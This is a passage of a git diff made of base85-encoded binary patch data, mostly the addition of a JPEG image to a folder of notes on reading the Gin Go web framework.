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 L=M{CfAd4c literal 0 HcmV?d00001 diff --git a/golang_frame/go_to_gin/gin阅读/img/9.1.jpeg b/golang_frame/go_to_gin/gin阅读/img/9.1.jpeg new file mode 100644 index 0000000000000000000000000000000000000000..55246abddc8e5dceb8609823222b690cdf51adcc GIT binary patch literal 73048 zcmeFZXIN9+x-J}gmmzUj}Q+J7Z;D1fB>J6 zl$ey1gqVbc><$$L*&WI|BqS8H6qI+VX=rFj$?526sp+YxX{i5b1Pcdq4K5xL9v%@j z83`HnfBSXY1)wCvio{9B!Qud5Q)1yzV%_!v*Z=@5Jd6&1sPX3u3mYRNJ^>*SF$v~` zMhXBn77h+JF3ulPW6lo7{0_jS#G|?=`~?55&MN{AcWRM$NnZ&$pVoHM=uW`7L|=P^ z5fRhU(K9e|-{;}wdmtt*@mNwyTJf2ZvWlvjx}Ls)p^>qPskM#m8#{XkM^7(rA74NJ zfbjPbkx|hfVv@ z;85b?-4n*AdZI({%Ka{f$U8#nr%7LHyNNhOb>TFxJtl~0xx`kv5r3%m|7iAqrdZg& zrP<#V`%5n^6lc|L=^HiqajsfLRibHN zNJy_lKmypa)FMk$Mrq3Cc%%)ToEi;vm!P1i*KyDt1@}y z5?{z4DEk#Px=90|%-%?l+8L^@@6M}_PBBExM%56s&YT9)Z`VnCmDp7O-p}**@OT>c z(lb*NdU1vlx)eTcgN-f6gGIZ3*Vs+V6C{$ONT+30DtE3TbJmPqlj&DJAL!i`0r*(+ z$Yf=om+xJR`h_kOXL<)S1U)^sa%JSp)dCLh#O=?w$y)oaC)hjlUxHF^0qkmR{ja;f8l4p1nb$!iZWAThET7kIxy33RI3;U323C*-9iTvu#WxEJ&KhO*#Db z(sOF+>xR2URALDAt|j*5X}qBZjKxf4M!T^JoyRF6j3c9Jt4qGRw?H9P_2{OI>znJP z)5$X}2Li1T_sami7i%!xPmhM&IR>bmAI48m*yQ~vZ28twN9-c78TwdDoOt`Bx@46O z^~w1zx)q3yb-eO5op>0eSTbZ?3ge!s%&`ti2&7P9zmECd|9ebt(??z;zca55DZ28z z>W%jV{Ab*gYyCxc^o<{+n+(6F_ZC3iz#^*GWH!w7fy;#5L*XUoYw5suim?jCnQvF^ zYxJ6t%*P!Os|eOu&!VC7`&qu+*~h|-K0{EoMBI-OVIq$yr)_4>wz~v~N%C0wJ0I2= zO!(YnjbxnQ+rnZip9~GKwH*fY^KhjupVi-JW;+X7?fHNedrE7bPoeRw7ITQDP)c9s z7WUGH+)K=~WZSkDv-x^$_|}=TsoaRRS-nBl5*fknb{@F~eeLnor7wKyvMDcPs+;aZ z&BJ2Oh&sv5%!8!io%JP-=NHmTH6G_{U4zRV&c7>|t%vEo7f%k~2HZ6XxrbEp&UXlC z-0W;AbRsVpOmdW%r5dzpdgB~^lpo2|sjHuBKM%XwLEBSxWbWMp2v8Z_6P79NaCb3R zYKP4GHEY2fOqbQKB6ojEQ=*66eGn`7XQ#J{RFd#AU6G!POOJUD)%IC=}n zO+=Fy-2#S~ooVJlKS6ZjoQCYVDIW`oV#w{RO63Sn9 z3wTcpJTkupEOVlG|LNfB2Dq7r#u7RvKO=vP4gezM({BM>?hQt^w*bP2prw{uK&J{) z=bsMFu0X>;6t>j{+b*js>J$VI7DB78+gA^xDU5Fc9iF#%L#v{_=! z6xsySFcoGtxdmvSfVK;60pUBKV-+SPAFIDy@(VT0s*Ltm|;E^vQc z_ilX}WYg6%F~4fjT+COLqw=}zlXKpT-nY8g z0sTmMAvj7V&h2#=ZC}5h4x>@%>NO$fVGN|&PRSH&k>_z8TT{m%VAtG=m5N3Bl>Rn z$oAuy=KH7jp73}D0^gy9e&eiWvyvf19M7#@wLT6AsrXt)^!2sz$@jS63kHTkm$^|N zmGd-s1CUBA-rc#eEtZLe;dH>^b@cedi0PlKOASRE&cby_|klQCh8t9z@(SFn8VN6w|dNdh5GjX2CIWCG3f9q~Bf zjCa4$Hr8S?zqS#dw}&g1sZ8j44Byy;NPgxdo;p)kQ@$CcYn80TCw6q>vUyoQjR~MJ zSKc*UZASzeWc#fn(3mBzP5tf$F+03wm+?VR)Kumv+ue{!MxmJGS%h~YEz-xkiE_Ne zK?io}%1c1X{bsS5hk!HN3%}DTKRaFg2!g7*B$6>3Mqz{>`ht4(OF*91UY-@)I1O$T zbGGnS&0XYtG}@%>T-o=|Jjx};A7{3;?Ffp~9gr6tWHV*57p{gd_~d5(J%&=eAv#j{ zoBw-}RH-5MFllDU7`66fD&`K!H*^a`jm>A6E-!&TneOC6Y5YPxSpgFxwR%1-gWmiu z-@lNK;ZPIJUDb)kNdqP}Y30s`zjEMSCsm)10R*dFX2A(gUhSBiZl`V#v&@IZ@mgn- zJ5tSbuKiB8_U$s=Y>q@(lsFo_8trJSmyEM*(UoM24@^Xfkz;zscFrx}2Gdg>bh_r3 zsZ~Y0>n>ag?yVn1zG+Gm*SHypP<~~(ezSYb7Qre|4;ShsK5c&4uq8I>rB{L|yc4&fshqC!fdE9n14b>7R=3auqo>UBHnRD$ zDVVZqFP9QN3h5!UHe+nF+G(XJnx>c=U{aAZ@+j}iP^aihR`wu&>$z!!>As*|CfG8i zG15-At$DiI_B$06+Sacj^^hiXn}8EuEmD+l=$G!O$sv?qi=AcUdxo;;3#K|n0awQj z>JW>G?`6eTM|t$8yfv(-{frC)=MHQ>7&3%Q3#$>m{OwjkuLpy~g6@V0I&?moYLq;X zRb0!k?o2gzFw%a)Qt7mXe=mbMyfW4r<=>T4fLG_?g9oL##1;0`;|!2To9-n0BYq zJ!u9o?ZvTpZ|yE6hpdMvm4S~ac88Rt{1RpbF7E4l< zRp^8UPwUk!fNgg9Yy$MTayN+T6qF+420Zct4Y1ujxPJ@y0Ni+NeQI?>+@apy+?#jI zRC^_aj<77UQtAdDCQgKS$g$l8ZWQ)`;%@;vkBE8m!B2sF_v;&zuMSD4IvN}&bwemKeWupNu+0M9PS(UJTxFQ(FVMFjTo z4_||h32(mYDw9M3oDJ2ya2nVC_H362#SBaQO0>%xokoo}FIuUs4P=hI($9{kM&O)x z58bG9I^0BKYy*uVa*czS3N#CQ$`(dhM*4SII8-5CS;x57@3@@%Wvt=lXgUe>J?To% zt~8zBtwS^ME$o->ubTS_cX8Nv`ZPwQ{9%zv!DmY_|F+<*8j^Cg-E&j`Dv>3>!?VwK zH;5^4&GtdFJVzLGCXCtHYjNBCcTgj0Z*Z@f%wmmWW8Fz62ooJWe{EH$={k;GKsJBz z=Ev;)VV}@{w@3%etfsZB2}NB&V!U9kO%7N3xdv-0BT0OkOK)UKx4FFbrnua$cu;{u z=!?^u!cLMPonL4c6fQE>wM?r`d&U=PGOsd{To0=|9I&zIN&~)7!|rsR0In}-U4V;% z#7$Fqdi6QQ^W!z-Zvo^RHHF`@Lkn*4o&ol)fOOo1+&BHy=-}_zbmO8)NFB3j&71C5&u*+8L!%t zIc`=_A&$A4{8!&i?P0Y_WRMiDOS*Pr@2I~oUi!SXKaOw|QOgR9}Ya& zzR22KST>9+Vl_NGaB{h3U9CjP!olIwH%yLbIs{lVJ(2R3WG5|Kd1)=DC6PygVp!AUf6|PgHk~QFV%hBd#v;vI zWcJx6YZThO@b)dDUzwo8e{b!gGbDZIxDkAJ3X-n11FIR^CU;nw$Hcwp*<6O%eET;R z$}%#al(+E}N*pc-*smc4NZ9I9#wwTwwv!2ZcUH=2@tR-tOwMvm>)T>YMtloJ0^78( zH8b3|-0Z zSEnN!PDadZoY-ID2L8myVF$P$Jrlf?>I6lhC^FT?)0^@VQ8Xk>T1Uu&7=uXN-dsD-jKzs}aKvpnV>u7lX2L|vEhIKii zNVd%PKudhK2T`FIz30g!r?BuiMkV_6jQAZJE_&CxjjwyRt)(=CH^_Vn^{Qw$X$~3H zM-{t6Go{`hNqAt*)I+hKps~&-#ITdn_oh0(ZRb)2O?C^Y*eOU)17mj0@2m$fqxIJa z<^%BWl&$tl&~^j(0s-!C5<5G2Iowt|uDks!a0YZ2>8cI){UEMMU>IuVm}xtm=Bph= zUS~X4QN78SnEyKitzH**U( zYQi)t8*v7@J^=T(b_A{_#>xu6gg|SeyqTE9*~NQj_bENxMCQ7N*gehrUc^XSWya{SJ2k-eDEVug|O{&sK`L5NI+&tZIQXXY1LAW7lk?W=dYp7 z@7@a~1f-IjJI_gP0e@a!Flc3jK_p-(NA-qQi@lxkQh~yQSIl8_t(3wa%;O>i;;>aD z$Lz5a|5a&jYAm+@pMI zO>O(G%5gZTGBEs;Bk*Jfbo9;=a@C!UL3CO{m%=B@^X4SC0HC{-H|H#{&%45L;l0UfWa97h-4PS z%DNcH!3;F6bIEw@ic}Y8yW9m|bQS#75_)+Iw7m#KeFoNjr$dLVb?(|#-U9x-1o)>2 z{*V7|1k7EDlreafoDmvH4XR`qM_rfP0#XRhjj%CFEEp}Sp5-0zyI$@BIaSV6n^9+M zNi~=y+CPfB$~z6(F2~Fg*okN1QkV$mbqhFtiT=4_b$K0gUG|?@Z)5rI_EPyv6!bSc z;K^Yg`Z?SGXJ#A!Q|5webr?DzaS)OM`k_;b(aZodn(^5FlH%`9djzs|6GGke1y3iM z{LS0{FE+mg7>njzUTEC{?vw9V<6$iDy{0v35BR5}6aTcIrRG1``XA-k!^eP^@)+Q8 zqx&Yc3w&}xbD=9|_ovJgf9ritL*Rd~^b{{`-J2aPfA^8p0VF+{efNJ-rfQFibkY zX2hn!^dU}eaEPnsylVN^Zokp$g5Z-6L&qNsJ*uQVUGgKd(_yJ+TD4?Hs1VF>v0%EK z78n0}9a8Nl^urMPCcUU_$0&I>{jpC<#{z;kQu0~p2A@E-Gjq153Ag78taiP@XadOk zx``E6SNOLOv#L9%!zCxULIn%d|qa(Pv*%-(-G}Xon!5@WZ2~z*3$0b}_>QQ!BY~PmEY@(m?1=%;Yv-a*BV81O0}t>$$lVjorzMiq zESErKTc?Hx1Mg(j9P+Dc<-^Mqi$tR6YV6kpO1>_}y}UZDd=UJW^_3E}HrD?|!Cj_n z5Ws9qX=E)59T-2g_Geg^FTh~CcYksxuhJ@G%})b1*3$sk{sZD!MYn)~<~88QDqtKV ze&VWC%#zSVyPTU~gAAGB7WAh<$_PG9QrPM(AQpht)+xGFF9t@Qqg0M*BIp9#eLG{1 zCCaO$ghZ>6pj!Z^Mahk4-Ywu+M?h123A8EkwPpj?XHKrq13=yy2Kd%DF|yYr>jY54 zM_s*UE-OFvPr?%#Csh#mlk~GV(XU`0MlCCEj30a+?9)rF z+Ph+n^0&jKyV6j>b#I1t{bVONl=FYwGk(d|E`AGm#qWB<*w{$d8*A^vk##M&YZTG^ zB}>;=dyZ3*|Iq0}^Y^r|HNKV9mE8N}%(b@D*VkQOW_rX@ zZOh|uKOoI|NPerN1>(&=s^iUfMpAZ0!#nKHwLgXZ1@GR_m@>Z9I(9p9Ae9@2%Cz$I zoj%*-Z-Q8zXx{7?U&yge1evXB1S|F~F-A(*MRW6NcG`a@t6*iIU2?~Hb)3Nk5V6-)YwYG8xTD2ALS#B=Z_haXRoVfOl zKzR5dQ-bJZPF3?69PQ(K3y7l40ae`s_-l4&&-MZ}S*+HyqT9t+?W=_zCil)eTt#NJ z?GLlxoQBOeJ2TU=C=g7R=iS|HUdBRcJcQzB;0>I&>kN~cK68Js5}G3T3(W697*Zfh znTddDF*uz|kF<7lHkWpnj|dCwT1aL-86dqJzC(a}PJNCTh=yuD83UKoP3v>72iHAc zC}mPe*}Ci}qL*5aNoT6?7aBj~6Uz(%6~(EaW71#&HKC1eUP5&Ctsa)Vc1_dO@=Bk) zdAHf|nO82Dz59cn#?;-}UV}upKd$oo@C9C+=vr)lUYM^*MRCE?mVIjV1eyDtS^U2k zvKD#WIZq)P$dc8HtjP+O=9r?q{Is8C@}FPdaf-_im8_KT7=70Fw->a)jJv5z6b0^&|)TgK^w^g9p|={HHXuk2QD z$VW~xd$gYB+o4aZ{XNgt-wjY>^-j-v^pR~)Y0>2ot5zcHn5J2k18wxhv69C$9Vh?kuRp^WajgOl2ve_=PJYa(J`(RFKqq2fxlt)D`u^>%wEyIA6>o zH3<;y?1Q=U62Hf5_(iKSEQ*>_YYnPr`VtU5H9`kd2`2SOIRY-kQWm`J=~R#grhykT zSvSOQf+sF>tunjm3o*ERlqa6~^)G@lB&qJfxDq8O5BlmX+U3E@p?&M!D@su5-$;kvm|4 z=s4=eB!_=*YrsdN-ZxfUZ)YBN59O-eOT;32sPUkd%X?pa{r-0hCK18{zlif9K!78- z!n)EhjTc97#niao+eIWizQ@x%ZT+#-?(>eRZGU6A$fofQ1b&W4#T#vnpM|n z&Ng)0@~PydJR>qeAmrkivkYTSYFS4vxjZnLBJ3%w*%`=>6RNgd>}0k^@IzCvOPV#R zY}^}f#5BH6eK)zUm4V535PPt%pH8L=HYN=zvGjv=9V2@z5st`0vCQJob72SY%WO63 z{(0-3rp50+t=V(Ue!XeYiiL8mcd-(6wl+;Sz^dej#LD&?$pqJy?=Y$?aC=cUDg0)V zUtoToWePGIKGirPtk}H{Ndo0S29GhYV(F8AC*oOH^=M%Mdx4aV@7gV-e=aR)3=hvf zML#1H8Ev32KE{{Z`&50hvK%J{CPXG*ii5?y;>}*xtmt2OsQ~0oAZ6%L+IG<76tb)GgZqjmiFR{02@ef8A`Wy>J?nRpumxKYGHoI z%^@>Bek_~YFQ|ot&M=Aiq%EvOzA>vB2~$VrASBh+_>o@Y#43TZdt#=3YD-kGu*aVw zGUfmx^Zjb$)v;=@qUFU~09iAN%zFQFKKSaRU(L!08USCaDfLU(IS^d$yuOp+7!90q zA0AEii{sNJ9Oq#+$~3A&DIyEJ{A3<+@h%(yy)bi_B^W9dJsEu&->wxMU;`D3r z!nPL^{cqS4dtxppFVH|93^OJkwO7=HEL*FPv9DU4Dpisb+`;j={!+*Nh)Zua93NyB(Cr9 ze?iED^Y;R3`k0KxJ0523kqI2+Y7EZGByuTFa!ARTL=wWXw_`3lV9GdUpUhmWJ`~@+R#g5~dYm@yJIvno<3M%=F&fmZME&XQ(T(>l zKzLaLWI^|vT1QD3k6K6J-z_Xc1N=Zd=x!RxYA}vA+^2%*d&4YBwA8X=-Pl}-@5zTu zvBmGCA4S9XF6_t>~rukj6lv{ZT!gX}gw|y1C(VUpuaW z$PMS6aaqq7@U+j~SuhPOPrL&2ky@fd<4Su~04+Nee&AYdNr?Vtn|PVao3vgtTl5uZ znE+)E6S|l}BZ2Fd+qVGH*md$NB74vU+7&HsDOxs9_E@K-fsSJFl1eNjxaGdoBli|H zz{fyl;^~p1Caa^88#t&x9>XdM1|Ef@#UViwa4&gD1c}4cg4)|K{PdugcRwl&08I~M z4X)*_jLiyLX@;hkB?JAN`sdC_RSAB(8|Fh>?x@L#4)_e;U;yh*a^%F{+HDh1S$!OH znne-|>)`*{^o}$c2<4E`_m(72K^pQzwu_b_drX@ry#gP1P74xI{&-KiVw0=}07xe* z6xn?{Y!;FD*CuZPbV1CsL3AZr-oc;(_1O`swONQxf=0CQ$43+4*&FBMipC+r@V=Ue znyQrsh}TVs)GMlthV$38$*ObnIJu(8=|!41o>~9Vc&3a#N#13<5{8d@gRX~k=@n65 zGoo=)U|dFq@?^+tBog^}ACu>HB}6Urj9X;+xL(f>ES9`7U;S4ZYnC01OhZb%ONJ>Q z8`iap%!R_7J`^n$j@RxhJ9Y$ASbK=nr%}R70G{kL@cUF_e*PkmZ|LZMhvSR%O z?9v$US$TNpHn8uIX_f6H7ON2o)(wbhhjFPZ5iDrqhy3fcvu9E7YijnB_ZvH^ z+B1$fS~IMvtg9E!&<5(xVrEcH{zb)YC1A31k8L8GpLLkbn|B$o|L70h1Ie*FqH!}- zM(W=uY8YpCp8lj3CiZxwta9>2iR^D3R?Ip58iVl!u_4NQKDK@Hxmu5r5Vn|;33l%T zDE%k;^XfifXTDP$%JH``^OxqorcVc^xZcy5SZ8u)O3@YYv5hc?A3pf6RME!@|JU{l zBr*jK?x!ApJ;~1-l31-9NNgAGW~tXd&uQr%c>W8g@)_8r=hGvtlDfhgBwI ze%P^3bJJ5=n;3@~o1}nEqbe&Tuo$|>c2`!$HrSPArV#SPCemP``jH=J2f#!3=Shn{ 